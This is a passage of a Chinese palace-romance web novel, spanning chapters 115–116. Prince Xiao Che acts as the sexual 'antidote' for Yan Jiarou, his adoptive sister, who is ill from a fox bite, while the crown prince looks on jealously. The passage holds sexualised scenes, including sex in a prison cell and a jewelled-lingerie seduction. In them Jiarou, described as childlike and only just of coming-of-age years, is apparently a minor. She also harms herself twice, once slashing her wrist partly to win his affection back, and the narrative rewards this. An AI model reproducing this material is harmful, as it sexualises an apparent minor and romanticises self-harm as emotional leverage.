只是原本雪白的面颊,如今遍布潮//。红,檀口微张,急促地喘//。息着,像是极热,又像是极渴。 像是感知到了他的存在,她费力地转过头看他,浓睫轻颤,美眸盛着水汽,又是可怜又是委屈地叫了他一声:“呜,哥哥……” 她的声音本就轻软,娇滴滴地仿佛沾了蜜,一旦撒娇抑或是呜咽,更是甜腻得仿佛带了钩子,酥人至极。 像是某种小动物发//。情时的求欢。 这样的神态,这样的尾调,他再熟悉不过。 他微微挑眉,哦?这么快,又发作了? 也是,这段时间不是他去承欢殿,便是她来含光殿,她越来越黏着他,两人如胶似漆,自然见面就做那事,喂得太饱了,阈值也跟着不断提高。 到了如今,她根本连一日都离不开他。 可笑她身子已经成了这副样子,居然还有胆子背叛他。 也不知究竟是有胆子,还是没脑子。 抑或是吃准了无论她怎么对他,他都会继续乖乖地当她的解药。 萧彻微哂。 他轻扯了唇角:“你要我帮她?” “真有意思,你知道,我要怎么样才能帮她吗?” 萧珏闻言脸色一阵扭曲,咬牙道:“少废话,这种事你们做得还少吗?怎么,以为我会吃醋?萧彻,我说了,你在我眼里,也不过只是她的一味药,嘉柔生病了,我只是拿你为她治病而已,不为别的——这点容人之量,我还是有的。” 萧彻掀起眼皮,冷冷地看了他一眼:“你有容人之量,我就要奉陪吗?” “滚。” “萧彻,你!你便忍心看着她如此难受么?” “她能忍心,我为什么不能?”萧彻低下头,声音听不出是什么情绪:“她选择背叛我时,就该想到会有今日。” 怀里传来低低的呜咽声,是颜嘉柔哭了。 萧珏愈发心焦:“萧彻,你这般见死不救,倘若嘉柔有个三长两短,你能够安心吗?” “放心,死不了。”萧彻淡道:“她在与我有过情事过后,这个病发作起来的症状,便与狐狸发//。情无异。放在人身上,则像是中了媚药之后的反应,唯一的区别,是只有我能解。倘若纾//。解不了,便会难受,却也不至于有什么疼痛损伤。” “她自小娇惯,不曾吃过一点苦,所以身上但凡有一点难受,便觉忍耐不了,巴巴地来找我,却又不肯吃药,如此这般,只会对我愈发上//。瘾。萧珏,我想这也不是你愿意看到的。现下我教你个法子,你听好了。” “我会给你一个方子,照方煎药,喂她服下,可稍稍抚平她体内的躁动,延缓病情进展,之后你派人过来取血,我会给她血,你把我的血喂她服下,搭配着药,应该能回溯到之前的状态,不再需要别的了。” 萧珏闻言面露犹疑,正要开口再问,怀里的颜嘉柔却忽然扭动起来。 仿佛更为躁动了,哭着道,“不要……不要吃药……我快要死了……哥哥,难受……” 萧珏当即便皱了眉,看向萧彻道:“不成,熬药少说也得一个时辰,况且也不知究竟有没有效,嘉柔她等不了了,你现在就帮她,快些!” 萧彻神色冷淡,只道:“我说了,我会给她血,我也只能给她血。” “你难道就忍心看她这么难受?她即便不是你的女人,也是你的妹妹!照顾好妹妹,为她排忧解难,本就天经地义!” “何况这事本就因你而起! 倘若不是因着你,那野狐怎会咬伤嘉柔,给她种上这等怪病!” 萧彻只觉荒谬:“可笑,那狐狸并非受我指使,说到底,她被狐狸咬伤,跟我又有什么关系?” “我帮她,不过是因为我本就喜欢她,愿意帮她。难道换做任何一个女子被野狐咬伤,我也要帮她们治病吗?你觉得可能吗?” 萧珏深吸一口气道:“任何女子?她是任何女子吗?她自小交由你母妃抚养,还是小婴儿时你就抱过她,与她同吃同睡,她是我们一点点看着长大的,旁的女子能与她相提并论吗?” “萧彻,你知道她方才来东宫求我什么吗?她求我跟她过来,向你解释清楚,她只是劝告我不要谋反,因为结局注定失败,至于旁的,并没有过多透露。这话原本我不想跟你说,可倘若你是因为这件事记恨她,从而不管她死活的话,我现在就可以告诉你,她本意并不是想背叛你,她只是不想我万劫不复而已。” “你与她青梅竹马不错,可我和她也是两小无猜,她知道你要做局害我,心生不忍,前来提醒,有什么错?这么多年的感情,难道你要她袖手旁观吗?你有什么理由怪她?” “听见了吗,我说,她没有背叛你,你便不能这么对她,她为你掉了多少泪,你怎么敢让她这么伤心?” 萧彻搭在身侧的手,手指微微蜷握了。 他垂下眼睫,静默了片刻,只道:“无论她究竟是不是有意背叛我,结果都是一样,她坏了我的计划,害我深陷牢狱。说到底还是骗了我,我累了。这样反复无常、满嘴谎话的喜欢,我消受不起,也不想再继续。” “那种事,我只跟我喜欢的人做。” “而她现在于我,与旁的女子并无区别。” “我不再喜欢她了。” 他面无表情地抬头看了他一眼:“萧珏,你有空跟我在这里浪费口舌,药都该熬好了。” 萧珏一怔,刚想开口说什么,怀里的颜嘉柔情绪忽然彻底失控,大哭了起来。 她身子本就难受,又被萧彻那一句“不再喜欢她了”刺激得不轻,原本是来道歉,可当下反而起了几分气性—— 她原以为向解萧彻释清楚便好了,谁知他知道实情后待她依然是这般态度。 她又是委屈,又是生气,索性赌气道:“太子哥哥,我们走……我不要他了……他不原谅我,我也再也不要理他了……我就是死,也不要再求他了……呜呜……” 话是这么说,身子却是不争气。 然而此刻气性上来了,便觉做人要有骨气,不能再在萧彻面前这般摇尾乞怜,像条发//。情的小狗一样,丑态毕现,毫无尊严可言。 神志不清之下,竟拔下发髻上的流光簪,猛地刺向手臂,想以此逼自己清醒过来。 尖锐的发簪刺穿皮肤,鲜红的血珠慢慢渗了出来,血迹浮在雪白的手臂上,恰似雪地绽放的红梅,极为刺目。 两个男人同时变了脸色。 “嘉柔!” “颜颜!” 萧珏心疼得要命,抬头狠狠剜了萧彻一眼:“都是你干的好事!” 萧彻眉心深陷,滚动了喉结,到底还是伸手对萧珏道:“罢了,把她给我。” 萧珏眼神几番变化,到底还是将人递了过去。 萧彻刚刚将人接过,怀里的颜嘉柔便水蛇一般,立刻缠了上去,黏糊糊地凑上去亲他:“哥哥……” 萧彻:“不是说再也不理我了?” 她眨了眨眼,立刻换了一副态度,没骨气地道:“人家可没有这么说……” 萧彻发出一声意味不明的轻哼,转头将人轻轻放在一旁的木床上。 颜嘉柔娇气,他便将她之前给的那件狐裘斗篷垫在她的身下。 他坐在床沿边,将她环抱在怀里,低头瞥了她一眼,语气冷淡:“最后一次。” 颜嘉柔哼哼唧唧地不说话。 却在心中嘀咕:你每次都这么说。 最后一次之后,永远有下一个“最后一次。” 他们之间,才不会有真正的最后一次呢。 她得意地翘起唇角,柔若无骨的双手紧紧环抱住他的腰身,脸颊再度依偎上他的胸膛,感受着熟悉的温度与气息,躁动得以暂时平息,她终于发出一声舒服的喟叹:“哥哥……好喜欢……” 只是这般单搂抱着,却也只是隔靴搔痒,方才短暂平息的躁动此刻疯狂反噬,她在他的怀里蹭来蹭去,被燥//。意催逼得浑身难受,眼角溢出一点晶莹,催促道:“哥哥……”嗓音娇得能掐出水来。 萧彻低头扫了她一眼,依旧八风不动:“怎么,事到如今,你不会还指望我伺候你吧?” “自己动手。” 颜嘉柔雪腮鼓起,小声嘟哝道:“自己动手就自己动手,我又不是不会!” 一边说着,一边开始颤颤巍巍地宽衣,只是手指一直打颤,解了好久也不曾解开。 萧彻喉结上下滚动,忍下帮她的冲动。 ……终于解开了。 衣裙散落,随之露出一大片雪//。白的肌//。肤。 萧彻连忙将她按在自己的怀里,抬手替她遮掩着身体,一面抬头带有警示意味地望向萧珏:“还不滚?太子殿下莫不是想留下来看活椿宫?” 萧珏面色一阵青白,猛地一甩袖子,到底还是悻悻离去。 只是出去后的萧珏并没有走远,而是自虐一般地站在墙角听着里面的动静。 暧日未的动静很快便传了出来,一下又一下,在这幽静的地牢中显得格外清晰。 混着黏腻的水声和女子低低的娇//。吟,情到浓时,她一遍又一遍地叫着他的名字:“萧彻……哥哥……好喜欢……” 萧珏眸底血红,额角青筋跳动。 他深深地一闭眼,狠狠地握紧了拳,克制住想要进去杀了萧彻的冲动。 听着心爱的女人在别的男人身//。下婉转承//。欢,而他却什么都不能做,于他而言,不啻于这世上最残忍的刑罚。 虽然他总说他只是把萧彻当成颜嘉柔的一味药,并不介意,可如今亲耳听见,却是另一回事,他连一刻都难以忍受。 萧彻,他想,总有一日,他一定会杀了他! 第115章 第115章“既然这么怕,那当初…… 牢房内,昏黄的灯光映照着床上两道依偎在一起的身影,空中浮动着欢//。爱过后的暧//。昧气息。 颜嘉柔枕在萧彻的胸口,脸颊红晕未褪,红润的唇瓣微张,犹自微微喘//。息着。 萧彻指尖无意识地缠绕着她的一缕乌发,目光低垂,不知在想些什么。 颜嘉柔轻轻抬起头,两鬓汗涔涔,身上更是一塌糊涂,今天萧彻的动作格外凶,虽然不曾弄痛她,但是在她身上留下不少痕迹,不过她并没有生气,亲昵地蹭了蹭他的鼻尖:“哥哥,我们……算是和好了吗?” 萧彻回过神来,低头看了她一眼,冷嗤了声:“天还没黑呢,这就做上梦了?” 颜嘉柔脸颊鼓起:“哼! ” 萧彻拍了拍她的皮鼓,没什么耐心地道:“办完事了,下去。” 颜嘉柔哪里肯依,双手搂住他的脖颈,撒娇道:“干什么呀,我的腿还软着呢。” 萧彻蹙眉,到底也没动手将她推下去。 一个小女孩罢了,瓷娃娃似的,身娇体软,磕不得,碰不得,稍有不注意,只怕弄伤了她。 对付她,可比上阵杀敌要头疼得多。 小姑娘见萧彻不再让她滚了,不免得寸进尺,不死心地继续追问道:“那我们什么时候和好呀?” 眼睫扑闪扑闪的,粉白的小脸上一派澄澈天真。 萧彻散漫地掀起眼眸,带有审视意味地打量着眼前这个执着非常的少女,末了一扯嘴角,言简意赅地吐出三个字:“下辈子。” 颜嘉柔眨了眨眼,歪着脑袋做思索状,红润的唇瓣含着一截葱白的指尖:“萧彻,你这是在和我许下来生之约吗?” 她脸颊浮上薄红,扭扭捏捏地道:“我……我愿意!” 萧彻:“…………” 萧彻:“我不跟傻子说话。” 颜嘉柔闻言却仿佛被戳到了痛处,立刻跳脚:“我不是傻子!” 眼眸浮上水汽,她幽怨地道:“你喜欢我的时候叫我宝宝,现在吵架了就叫我傻子……哪有你这样的?” 萧彻睨了她一眼,淡道:“知道我为什么叫你宝宝么?” “嗯……因为你喜欢我!而且,我很乖……” 萧彻哼笑了一声,一张俊脸陡然逼近,看着她,极尽恶劣地道:“那是因为,你的脑子发育的,跟几个月的宝宝也差不了多少。” “皇妹,是不是小时候落水,水流进了脑子,所以如今才成了傻子?” 颜嘉柔鼻子一酸,眼眶又开始泛红,她强忍着泪意,敢怒不敢言地看着他,到底也只是重新将脸埋进他的怀里,轻声啜泣道:“我也不想这么傻,可是我……我就是聪明不起来……哥哥,我知道你还在怪我,对不起……以后无论发生什么事,我都只相信你,再也不擅做主张了……如果时间可以重来,我一定不会那样做的……” 萧彻垂下眼帘,眉尾几不可察地动了一下。 怀里的颜嘉柔哭哭唧唧地为自己求了一番情,见萧彻始终没有回应,忍不住抬头偷偷看他,在他怀里扭着身子撒娇道:“哥哥,你就原谅我一下,好不好嘛。” 萧彻低头看她,小姑娘一张精致的小脸上泪痕斑驳,眼圈红红的,鼻尖也红红的,浓长的眼睫上凝着泪珠,要坠不坠,好不可怜。 萧彻喉结滚动,只道:“我凭什么原谅你。” “我……”颜嘉柔绞尽脑汁,总算想到了一个不算理由的理由,嗫嚅着唇瓣,小声地道:“我……我还没给你生孩子呢。” 萧彻嗤了声:“谁稀罕。” 颜嘉柔眨了眨眼睛,挺凶蹭了蹭他,耳尖红红的:“可是哥哥,你说想喝我汝汁诶,你忘记了嘛。我还没给你喝呢,你就不要我了,那我以后怎么给你呢?” “而且哥哥,”她神秘兮兮地凑至他耳畔,声音压得愈发低了:“我觉得我最近好像又长大了……嗯……我是说,个子长高了一点点,凶……凶也更大了,我知道你最喜欢摸那里了,你要是不要我了,以后就摸不到了噢。” 萧彻额角重重一跳,带有几分不可置信地看向她: “颜嘉柔,你知不知羞的?” 颜嘉柔说这些话的时候本就觉得羞耻,如今被他用这种语气一问,愈发无地自容,哭着道:“我当然怕羞……但我更怕你不要我……呜呜……” 萧彻皱眉:“别哭了。”哭得他心烦意乱。 颜嘉柔哭声一顿,拿一双泪光盈盈的美眸去觑他:“那你原谅我嘛……” 萧彻眉梢微抬,伸手掐握住她的下巴:“既然这么怕,那当初又为什么背叛我?” 颜嘉柔眨了眨眼,可怜巴巴地看着他:“那我知道错了嘛……没有下一次了……” 萧彻冷笑一声:“晚了。” “没有晚,没有晚,我想过了萧彻,我会把实情告诉父皇的,我想他会相信我说的话,他那么宠你,一定会放你出来的。” “那又如何?有些事,一旦做了,事后再如何弥补,也始终做不到不留痕迹。”他摩挲着她皓腕上的那只玉镯,缓缓道:“你十四岁时辰那日,我送你了这只‘昆山月魄’,结果因为我拦着不让你去见萧珏,你便赌气地将它掷地摔碎,后面虽然着人去修补了,可始终有一道暗青痕,只消放在灯下一照,便无所遁形。” “如今我们之间,便如同这道暗痕,再难修补如初了。” 颜嘉柔用力抽回了手:“什么,我听不懂!” “我是傻子,我听不懂你在说什么,我只知道,人和玉是不一样的!” 萧彻喉结滚动,深看了她一眼道:“补玉便如同补心,颜颜,裂过了便始终都有痕迹。” 颜嘉柔伸手捂住耳朵,摇头道:“我不听我不听!” 她像是个无助的孩子,屡屡犯错,却不知道为什么这次不被原谅了:“萧彻,我已经知道错了,我都这么求你了,为什么你就是不肯和我和好呢,我们翻篇好不好,我以后会对你更好的,我发誓,你说什么,我都不会违背……你不要离开我,好不好……我不能没有你的……” “颜颜,我依然会是你的解药,我会给你血。每隔一段时间,你都可以让映雪来含光殿取血。” “为什么要让映雪来取?为什么是血!我不要血,我要……” “你要什么?”萧彻微微蹙眉:“你一个小女孩,怎么这般不害臊。” “那也是被你调//。教的!我从前不是这样的,所以你一定要对我负责……”她环抱住他的腰身,轻声道:“而且你我都这样了,比夫妻还要夫妻,你怎么能不要我呢,话本里说,你这样的,叫做始乱终弃,是薄情郎……三哥,我相信你不是这样的人,是不是?” 她正缠着他死缠烂打时,门外突然传来一人的脚步声。 有人过来了。 萧彻目光一凛,立刻帮颜嘉柔穿戴好了衣物。 萧珏面色阴沉地站在门口,沉声道:“嘉柔,既然躁动已经平息,我们也该回去了。” 他在门外等了许久,好不容易里面渐渐没了动静,却迟迟不见颜嘉柔出来,他无法,便只能亲自过来接她,若非如此,他宁可死也不愿见到他二人衣衫不整地在同一张床上。 可嘉柔却还不肯走,跟他闹起了脾气:“我不!我要和三哥在一块!我的病还没好呢!” 萧珏深深换了一口气,自觉忍耐已经快要到达极限:“嘉柔,别耍无赖。” “听着,你若再这般不知轻重,闹出动静,你与萧彻在狱中苟且的事一旦传了出去,御史台参他的奏折就能把人压死,他如今这样的处境,你犹嫌不够,想害死他吗?” 颜嘉柔肩膀瑟缩了一下,摇了摇头,这才恋恋不舍地从萧彻身上向来。 “哥哥,我走了,我会再来看你的……不不,你一定会很快出来的,届时,我去含光殿找你!” 萧彻淡淡地看了她一眼,没说话,目送着她一步三回头地出了牢门。 —— 萧彻果然很快就出来了—— 魏元帝在含光殿中找到了证据,说是萧彻那日之所以会埋伏在承欢殿中,不过是因为提前得到了密信,得知弥勒教的人混入了宫中,意图在那日行刺。 魏朝时期,民间造反的教派中最为著名的便是弥勒教,弥勒教信奉弥勒佛,教义是宣扬弥勒佛将临世,赐众人安乐太平,从此世间再无贵贱,人人平等,因此吸引不少底层百姓加入,这些年来,一直是朝廷重点打击的反叛势力。 既将矛盾指向了弥勒教,萧彻护驾心切,自然无罪。 —— 东宫内,萧珏将案桌上的茶盏重重地扫落在地,勃然大怒道:“什么弥勒教?怎么偏偏就这么凑巧,我看,这分明是萧彻留的后招!父皇竟然偏心至此,他犯下这等大罪,他也不惜为他遮掩!” “还是 说,这证据根本就是父皇捏造的,就为了将他的心肝彻儿毫发无损地从牢里捞出!” 李戎在一旁微微眯起了眼:“无论是哪种可能,圣上对三殿下,真可谓是用心良苦,费尽了心思。太子,我想我们的方向错了——若想扳倒萧彻,或许,应该从圣上下手。” “你是说……” “圣上不是一向沉迷丹药么,尤其是贵妃死后,更是常常依赖丹药与之在幻梦中相会,殿下不妨在这上面做些文章。” 萧珏闻言转动着手上的玉扳指,若有所思。 —— 萧彻这日回到殿中,晚上刚要就寝时,突然听到一阵窸窣动静,像是从床榻上传来。 他皱眉往床边走去,远远便瞧见锦被隆起一团,里面藏了什么人似得,正缓缓蠕动。 他眸底闪过一道寒光,屏息走近,正要动手,床上的那团东西像是有所感知,被子一拉,忽然露出一张白嫩精致的小脸,俏生生地对着他笑,甜甜地叫他:“哥哥!” 不是颜嘉柔又是谁? 第116章 第116章他也不算轻易原谅了她…… 萧彻皱眉:“你怎么在这?”话音刚落,却又想到之前为了方便她过来,特地开了一道暗门,可从殿外一处后墙直通他的寝殿,当即便沉声道:“我明天就让人把那道暗门堵上。” 颜嘉柔一张小脸立刻耷拉了下来:“呜,不要嘛。” 却转而想到自己此番是来与他和好的,且至少有七分的把握,只要将他哄好了,他自然便能改变主意,便又重新振奋了精神,目光灼灼地看向她:“哥哥,我今天来,是来给你看两样东西的!” “什么东西?”萧彻一面问,一面走至床边坐下,上下打量了她一眼,神情像是有几分嫌弃:“粽子?”这个傻子把自己裹成了一个粽子,也不知是在搞什么名堂? 颜嘉柔裹着被子挨蹭了过去,眸子在烛火摇曳中光芒流转,浓长的眼睫轻轻颤了颤,眼尾微挑,有一种猫儿似的慵懒与狡黠。 她的瞳仁乍一看黑亮莹润,只细瞧了,却觉瞳仁深处晕开一圈暖金,荡漾着淡淡的琥珀色,又像是夏日日头最盛时落入眸底的浅芒,耀眼而温暖。 她无疑是美丽的。 娇憨可爱,明艳动人。 但他最难以忘怀的,便是她当初给他的那一点温暖。 无论是她婴儿时期的陪伴,还是孩提时期的维护。 都是赤诚而温暖,因为只是孩童,所以不加掩饰,没有目的,谈不上心计,才更显珍贵,最能打动人。 他这一生,从出生开始便被恶意坏绕,自记事以来,周围充斥着大量的谩骂与诅咒,感受过的温暖实在是太少太少。 于是零星一点,便足以动心,甚至为此付出一生的代价。 当然,那是后话了。 颜嘉柔见他有些走神,愈发凑了上去,红唇微弯,脸颊梨窝浅浅:“那哥哥要剥粽子么?” 萧彻回过神来,低头看着她,无谓地一挑眉,本着想看看她究竟玩什么把戏的态度,随意地轻扯了她的被角。 锦被滑落,萧彻原本只是随意地瞥上一眼,目光落在她身上时,却立时变得凝滞。 ——这个小傻子根本寸缕未挂! 不,更确切的说,她身上穿了一件小衣,只是这件小衣的材质,既不是丝绸也不是纱罗,而是珠宝与琉璃! 莹润的珍珠由银线勾串成一件精致的小衣,虚虚地挂荡在她白腻的月同体上,奶白的肌肤与珍珠的光泽相得益彰,在烛火下泛着令人目眩的光晕。 琉璃薄而透,雕刻成扇贝的形状,笼在雪峰之上,她的凶的确是又变大了,那点琉璃只堪堪掩住如晕,一动便荡漾出一段诱人的汝波,只是这般犹抱琵琶半遮面,春光半掩,反而更勾起人心底不为人道的谷欠念。 偏她神情还一脸天真,故意扭了扭腰肢,珍珠琉璃便叮铃作响,折射出璀璨的碎光,裹着一身白腻的皮//。肉,在灯光下愈发迷人眼:“哥哥,好看吗?你喜不喜欢?我特地为你穿的……” 萧彻气息有些乱,偏过脸不去看她,蹙眉道:“你穿的什么乱七八糟的,谁教的你?” “唔,没人教我……是我自己跟书本学的……” “什么?” “就是……映雪帮我从宫外带了几本书回来,其中有一本叫做《追夫十八式》,里面说夫妻之间,床头打架床尾和,没有什么矛盾是同房一次不能解决的,如果有……”她眨了眨眼睛,煞有其事地伸出两根白嫩的手指,一本正经地道:“那就两次!” 萧彻嘴角抽搐:“……谁说要跟你同房了。” 颜嘉柔闻言一副“果然如此”的表情,继续道:“书上说了——但是如果夫君生着气,不愿意和你好怎么办?那就穿情//。趣小衣勾//。引他,对,就是我现在穿的这件!” 萧彻:“…………” “颜嘉柔,你的脑子就是被这种乱七八糟的书给看坏掉的,你知道吗?” “可这本书和那本《椿宫十八式》是同一个人编撰的诶,那个不是你叫我学的么?”她有些委屈:“为什么现在变成乱七八糟了?” 萧彻一噎:“……今时不同往日,你个傻子懂什么。” 颜嘉柔茫然地看着他,她的确不懂:“萧彻,你不喜欢我这么穿吗?” “……不喜欢。” “但是哥哥,”她忽然伸出手指轻轻拨弄了他的喉结,有些惊奇地道:“你的喉结变得好红啊,唔,更大了。”想舔。 “……还有,你为什么不敢看我呢?” 萧彻闭了闭眼,深吸了一口气,豁然一下起身。 颜嘉柔慢吞吞地仰起脑袋,檀口微张,隐隐可以窥见半截嫣红的舌尖,透着几分靡艳,只消看一眼,便知道那里有多软,眼神里却有一种小动物般的懵懂:“哥哥……” 萧彻喉结上下滚动,转身离开了床榻,不过片刻,便又折返回来,身上多了一件狐盚斗篷,俯身披在颜嘉柔的身上。 将其包裹得严实后,捏过她纤细的手腕,将她拉下了床。 “出去,我说了,我们以后便只是寻常兄妹,我自问那日在牢里说得已经够清楚了,碎玉留痕,你又何必自讨没趣。” 颜嘉柔赖在床上不肯走,他便略使了一些力道,两人力量悬殊,即便颜嘉柔使出了吃奶的力气,也挣脱不了分毫,很快就被萧彻一路拖拽至门口:“出去。” 萧彻待她从来不曾这般强硬过,一而再再而三地用这种语气跟她说话,她心中早就憋了一口气。 她也从来没有这般狼狈过,花费了这么多心思向他示好,结果却是被毫不留情地扫地出门。 这天底下,还有比她更可笑的么? 她这番打扮,映雪看了明明说她凶大腰细,肤如凝脂,被这玉石小衣愈发勾勒出一副好身段,尤物一般,是个男人看了都把持不住。 可为什么萧彻却没有反应的,他以前明明不是这样的。 兰陵人一向重//。欲,如今他对她连这方面的心思都没有了,是不是说明他真的已经一点儿都不喜欢她了? 鼻尖一酸,她攥紧手,强忍住泪意。 她自小骄纵,也从不是什么通情达理之人,和好不成,便颇有点恼羞成怒的意思了。 这会便发起脾气,那股无赖劲又上来了,指甲死死扣着门框,怎样都不松开。 她的这点力气,于萧彻而言,跟小猫挠爪没什么区别。 只是倘若生拉硬扯,难免会弄伤她,萧彻只能松了力道,轻轻叹了一声:“你到底想怎么样?” 颜嘉柔哼了一声,泪光盈盈地看着他:“我要怎么样,你不清楚吗?还要问人家……” 萧彻蹙眉:“我说了,我不可能再像从前那样对你,你又何必死缠烂打,非要纠缠?” 这一句话可算让颜嘉柔破防了个彻底。 她虽然一向爱哭,可真生了气,却反倒憋着一股劲,不肯落下泪来了。 除非是生气伤心到了极点,那便是什么都不管不顾了,哭只是单纯地成了一种宣泄情绪的方式。 譬如现在。 她从没有哪一刻像眼下哭得这么伤心:“我就是要死缠烂打,纠缠不休,你要怎么样,你杀了我好了!” “你已经不要我了,我若不死缠烂打、纠缠不休,我们之间,岂非再无可能?我只知道喜欢一个人,便要努力争取,我从前喜欢萧珏,便要天天跟在他身后,做他的小尾巴,如今喜欢你,自然也不会轻易放手!” “我才不管你们的态度呢,在这世上,我只跟着自己的心走,天大地大,我的感受最大,我喜欢你,我便就是要缠着你!” “我知道你不喜欢我了,我也不想惹人嫌,但我又控制不了自己……所以,你杀了我好了……反正我这么难过,我也不想活了……从那次骊山之行之后,我的人生就全乱套了,我也不想一辈子被怪病折磨,这般不人不鬼、没有尊严地活着……” 她一边说着,一边拔下发间的流光簪递给他,眼皮泛着薄红,泪眼朦胧地瞧着他,似乎是在赌气,却更像是绝望之下的真情流露:“给你,你杀了我啊,杀了我,便再也没有人来烦你了……我们都解脱了……动手啊,为什么不动手……” 萧彻眉心深陷,眸光暗沉了下去,虽说兔子急了也会咬人,但他从来不知道小兔有这样执拗的一面,他生平第一次,对她的偏执有种颓然的无力感:“颜颜,你别这样。” “你不动手是不是,好,那我 自己来。” 她话音刚落,便趁着萧彻尚未反应过来时,举起簪子狠狠地向手腕划去,这一下并没有收着力道,划得极深,像是抱了某种赴死的决心,决绝到令人生寒。 萧彻面上的血色霎时褪了个干净,一把夺过她手上的簪子,顺势将她揽入怀里:“颜颜!” 颜嘉柔那样怕疼的一个人,这次却愣是没有发出一点声音,直到重新靠回萧彻的胸口,才终于呜咽出声:“哥哥,疼……” “没事的,别怕,我不会让你有事的……”萧彻的声音都在颤抖,他将她打横抱起,重新往里走去。 颜嘉柔手腕上的伤口一直在流血,伤口颇深,但好在没伤中要害,只是皮肉伤,止了血就没事了。 萧彻将颜嘉柔放置在床榻上,他单膝跪在她的面前,低头仔细地替她包扎着伤口。 尽管他的动作已是十分伤心,可耐不住颜嘉柔娇气,还时不时地痛呼出声:“哥哥,轻点儿,疼……” 萧彻一颗心便立刻揪了起来,心疼到了极点,便愈发生出几分恼恨,一抬头,唇边便泛起一道冷笑:“怎么,方才划伤自己的时候倒不疼了?颜嘉柔,你疯了?竟然敢自裁?!” 说到“自裁”二字时,心腑便是一阵抽痛。 他不知道到底该怎么做,才能让她打消这种疯狂的念头。 倘若那簪子再偏一寸,会是怎么样,那样的后果,他简直不敢深想…… 颜嘉柔低声抽泣道:“那我也是没办法了嘛……你一点儿都不喜欢我了,我真的好绝望,所以才……” “我不喜欢你了,你就要寻死觅活?”萧彻气极反笑,连嗓音都有些发颤:“颜嘉柔,你便只有这一点出息吗?你想以此拿捏我,你以为我会吃这套?你既说我不喜欢你了,那你是死是活,又与我何干?你以为我会在意?想用你自己的性命来威胁我,我劝你还是省省力气!” “我只问你,你的小命有几条?敢如此儿戏,倘若有个什么差池,到了阴曹地府,你岂不是要做个糊涂鬼?!” 颜嘉柔抽抽搭搭道:“那我只是个小姑娘嘛,我本来就没什么出息,脑子里装的,也都是情情爱爱,我自小便是要什么有什么,顺风顺水惯了,第一次碰壁,我不甘心,哥哥,只是太喜欢你了……” “我没想威胁你,你要是真不在意我,我其实,也确实不想活了……”这话倒不假,她方才自裁,一半是想赌,赌萧彻仍然在意她,另一半则是当时听了萧彻的话后心如死灰,确实生了轻生之意。 不过现在看来,她算是赌对了,萧彻比她想象得还要在意她。 既如此,她就还有希望。 这般想着,便抬脚搭在他的腿上,轻轻磨蹭:“哥哥,别生气了,我下次不这么做了,还不成么,只要……只要你对我稍稍好一点,我才舍不得死呢。” 好一点?怎样才算好?只怕非要遂她的心意不可吧。 这是明晃晃的威胁了,还说不是在威胁他?萧彻没好气地瞪了她一眼。 可她方才自裁时,眼底浓重的绝望,却也不像是假的。 一时心中极乱。 颜嘉柔疯过之后,这会儿倒乖顺下来,黏黏糊糊地又想与他亲近,手受了伤也不安分,搭在他腿上的右脚慢慢游走,磨蹭着他。 等终于包扎完之后,颜嘉柔忽然叫了他一声:“哥哥,还记得我之前说,我今日来,有两样东西要给你看么,一样方才你已经看过了,就是那件颇有巧思的小衣,只可惜你好像不太喜欢……” 说到这里,声音明显低了下去,像是有些低落,但很快眼眸又重新亮了起来:“不过第二件,你肯定会喜欢的!” 萧彻喉结滚动,抬头看了她一眼:“什么?” 她转动了一下手腕,被褪到小臂处的玉镯跟着转动了一圈。 床榻边放置了一盏云阶坠月落地灯,烛火映照下,随着玉镯的转动可以清晰地看见它的全貌,晶莹剔透,白璧无瑕,未有一丝暗痕。 竟像是从未碎过一般。 萧彻有些错愕:“你……” 颜嘉柔趁萧彻愣神间,凑上去亲了他一口,有些回味地舔了舔唇瓣,这才笑吟吟道:“我把它重新修补好啦!” 说话间仰起下巴,颇有些得意:“我央著贞儿去打听的,她是真公主,一向在贵女堆里混的如鱼得水,往来消息传递都在贵女圈内,她知道的自然比我多,她告诉我,京中的珠玑坊有一位玉匠,手艺巧夺天工,能修复碎裂的玉石于无痕,所以我就立刻过去找他啦!” “他的手艺果然如传闻中一样,用玉石粉补髓,粉末细小,完全渗入裂痕缝隙中,打磨抛光后,修补的玉石粉便与玉镯融为一体,裂痕便再看不见了。” “不过这个匠人性情颇为古怪,说什么玉器通常为男女定情之物,补玉便是补心,若是心不诚,玉器修补得再如何天衣无缝,也是徒劳无功。” “所以他要先试探我心诚不诚,再决定要不要帮我补玉。” “他让我去云华寺祈福,你也知道云华寺在青云峰上,那样高的山峰,修建了一百零八阶石阶,他让我三跪九叩,我差点死在那里……” 她说着低下头,伸手去触碰自己的膝盖:“你看,我膝盖上现在还红着呢,都已经过去三天了……” 萧彻顺着她手指的方向去看,果然见到她两条雪白的腿上,膝盖却微微泛红。 他一时说不上是怎样的心情,吃惊?意外?生气?还是……心疼。 种种情绪交织在一起,然而一开口,却只余斥责:“你疯了?他让你三跪九叩,你便乖乖照做?你一向骄纵,我倒不知道,什么时候也变得这么乖顺了?” 颜嘉柔委屈道:“可是如果我不照做,他便不会答应帮我修补玉镯……” 萧彻深深地换了一口气,眸中有戾气浮动:“一件死物罢了,修不修补便那么重要?” 颜嘉柔的每一次受伤,都会让他烦躁不已,尤其是别人伤的她——膝盖上受的伤 ,他已经完全归咎于玉匠的刁难了。 “可我想让你知道,玉石即便有痕,也可以修补如初,”她举起手腕,将玉镯展示在他眼前,一瞬不瞬地看着他:“萧彻,我做到了。你说补玉便如同补心,我只想问你一句,这句话,如今还作数吗?” “你送我的‘昆山月魄’我已经修补如初,那么你对我的心呢,是不是也可以回到从前?”话问到后半句时,嗓音已带了哭腔。 萧彻喉头发紧,心绪不断翻涌。 一颗心更乱了。 理智已经摇摇欲坠,像是积雪化水,有了第一滴水之后,残雪消亡亦不过是迟早的事:“……我不知道。” 是“不知道”,而不是“不可能,”那便是有所松动了。 颜嘉柔眨了眨眼,眸底亮了一瞬,欢喜之色溢于言表。 雪白莹润的脚趾轻轻蹭着他,脚掌跟着缓缓游移,像是一种无声的挑//。逗。 当然颜嘉柔并不懂这个,她于男女之事上并未完全开窍,床笫之间,也向来是萧彻伺候她,她不擅调//。情挑//。逗之道,她虽然已经及笄,但还是一团稚气,只把这种举动理解为撒娇。 “哥哥,你就原谅我这一次吧,好不好?” 潋滟烛火下,小姑娘浓睫轻颤,眼尾泛着薄红,一张娇美动人的脸上泪痕泪光,微微噘着红唇,楚楚可怜地为自己求着情。 “你说补玉如同补心,如今我已经做到了将玉镯修补无痕,萧彻,你也要做到才是,对我的心意也要一如从前。” “我真的知道错了……你看,我为你费了这么多心思,又是穿了情//。趣小衣,又是修补玉镯,还不足以让你看到我的真心么,我以后一定会对你很好很好的,真的,萧彻,你就再信我一次吧……” 